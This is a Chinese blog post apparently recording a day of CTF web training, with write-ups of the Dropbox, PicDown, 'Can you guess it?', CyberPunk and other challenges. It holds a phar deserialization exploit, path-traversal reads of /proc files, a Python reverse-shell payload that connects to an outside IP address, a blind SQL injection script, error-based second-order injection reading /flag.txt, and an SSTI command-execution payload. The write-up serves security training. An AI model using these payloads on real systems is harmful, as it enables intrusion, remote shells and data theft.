IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [ 2021-10-04 ][BUUCTF] 集训第七天 -> 正文阅读

[PHP知识库][ 2021-10-04 ][BUUCTF] 集训第七天

[CISCN2019 华北赛区 Day1 Web1]Dropbox

  • 任意文件下载
  • phar反序列化
  • 知识点

在下载的时候可以通过抓包修改文件名filename=…/…/index.php
在这里插入图片描述

//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

创建文件自己审计比较好,注意到__call() __destruct() 等魔术方法
一开始的构思,不可能这么简单

class User{
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}

class File{
    public $filename;
    public function close() {
        return file_get_contents($this->filename);
    }
}
__call() //在对象上下文中调用不可访问的方法时触发

利用点:


exp1.phar

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>


利用点:

    public function detele() {
        unlink($this->filename);
    }

在这里插入图片描述

exp2.phar

<?php
// add object of any class as meta data
	class User
	{
		public $db;
	}
	class FileList
	{
		private $files;
		public function __construct()
		{
			$this->files=array(new File());
		}
	}
	class File
	{
		public $filename='/flag.txt';
	}

	$b=new FileList();
	$c=new User();
	$c->db=$b;
    
 // create new Phar
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($c);
    $phar->stopBuffering();
 ?>

在这里插入图片描述

https://www.jianshu.com/p/5b91e0b7f3ac

[网鼎杯 2020 白虎组]PicDown

尝试url会发现存在任意文件下载

在这里插入图片描述

../../../../../../../../proc/self/cmdline

这里利用的是当前进程self,没有用pid号
在这里插入图片描述
在这里插入图片描述

?url=app.py

读源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
  • SECRET_FILE = "/tmp/secret.txt"
  • /no_one_know_the_manager路径下可以print(SECRET_FILE),并且get获取两个参数,key匹配成果则os.system()执行shell
    但是这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了
    而且linux里如果没有关闭文件会放在内存里,就算你remove掉了在/proc/[pid]/fd下还是会保存
    此处可以通过/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接
../../../../proc/self/fd/3

在这里插入图片描述
在这里插入图片描述
shell没有回显,python反弹shell一下

在这里插入图片描述这台机子我没成功,先用的自己的服务器

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击端IP地址',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

payload:

http://990a5721-c707-491b-826e-3cea59b09f23.node4.buuoj.cn:81/no_one_know_the_manager?key=1s4H42WVbRnvWH1mOzRBnDlzl5cnEgntBq0m7Ebk/aE=&shell=python%20-c%20%22import%20os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%27120.55.82.147%27,2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%27/bin/bash%27,%27-i%27]);%22

在这里插入图片描述

这里有一道类似姿势的题目,留着做一下:
https://www.cnblogs.com/Zeker62/p/15211227.html

[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

注意到$_SERVER['PHP_SELF']

注意到一个hash_equals函数

这里无法突破,换个地方

在这里插入图片描述
这里要fuzz一下
利用这里来highlight_file这个config.php。但是存在正则匹配,需要绕过。这里的绕过也是利用了basename这个点。

也就是说
preg_match(’/config.php/*$/i’)过滤结尾是config.php/的文件名
我们利用basename的bug绕过正则匹配
basename() 函数返回路径中的文件名部分。但是它有bug,它会去掉文件名开头的非ASCII值。

所以我们在绕过正则的同时,还可以让basename截取我们想要的 config.php,而不是config.php+非ascii码

<?php
function check($str){
    return preg_match('/config\.php\/*$/i', $str);
}
 
for($i=0;$i<255;$i++){
    $str="/index.php/config.php/".chr($i);
    if(!check($str)){
        echo $i.":".basename($str);
        echo "<br>";
    }
}

结果:

113:q
114:r
115:s
116:t
117:u
118:v
119:w
120:x
121:y
122:z
123:{
124:|
125:}
126:~
127:
128:config.php //我选这个
129:config.php
130:config.php
131:config.php
132:config.php
133:config.php
134:config.php
135:config.php
136:config.php
137:config.php
138:config.php
139:config.php
140:config.php
141:config.php
142:config.php
143:config.php
144:config.php
145:config.php
146:config.php
147:config.php
148:config.php
149:config.php
150:config.php
151:config.php

在这里插入图片描述在这里插入图片描述

把i转换为hex,url编码放入url中,这里有个坑,必须是/index.php/config.php/?source

  • 源码泄露
  • sql注入

robots.txt+基操看源码
在这里插入图片描述

看看哪里有提示的php文件
在这里插入图片描述

image.php.bak
  • sql注入
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

对单引号进行了过滤,无法闭合单引号,所以我们用\0来转义掉它的单引号。输入\0,经过addslashes函数会先变成\\0,然后经过str_replace函数,会变成,这样,就把id后面的单引号给转义了。附上SQL注入代码:

import requests

url = "http://0bec55ef-7655-4335-b81b-ef885378b84f.node4.buuoj.cn:81/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1, 100):
    l = 1
    r = 130
    mid = (l + r) >> 1
    while(l < r):
        payloads = payload.format(i, mid)
#        print(url+payloads) 
        html = requests.get(url+payloads)
        if "JFIF" in html.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    result += chr(mid)
    print(result)

  • 文件上传
    在这里插入图片描述

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码,底端

<!--?file=?-->
  • 伪协议读取源码

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

没毛病,继续

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
  • 二次注入
    可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。

二次注入原理:
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

利用报错注入读取flag,由于updatexml的限制,分开读取

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

  • SSTI模板注入

查看源码
在这里插入图片描述

/?search=

尝试

/?search={{7*7}}

在这里插入图片描述

存在模板注入

查看配置文件
在这里插入图片描述在这里插入图片描述试试,不行

这里用
脚本索引

import requests
import re
import html
import time

index = 0
for i in range(1, 1000):
    try:
        url = "http://23ec096b-0b95-4d25-9568-dfe8eba06a13.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(
            i) + "]}}"
        r = requests.get(url)
        res = re.findall(
            "<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))
# 好的脚本值得收藏

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()}}
在这里插入图片描述

不strip() 它会有换行符,且有两个数组,取第一个[0]

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-06 11:59:30  更:2021-10-06 11:59:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年2日历 -2025/2/27 14:17:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码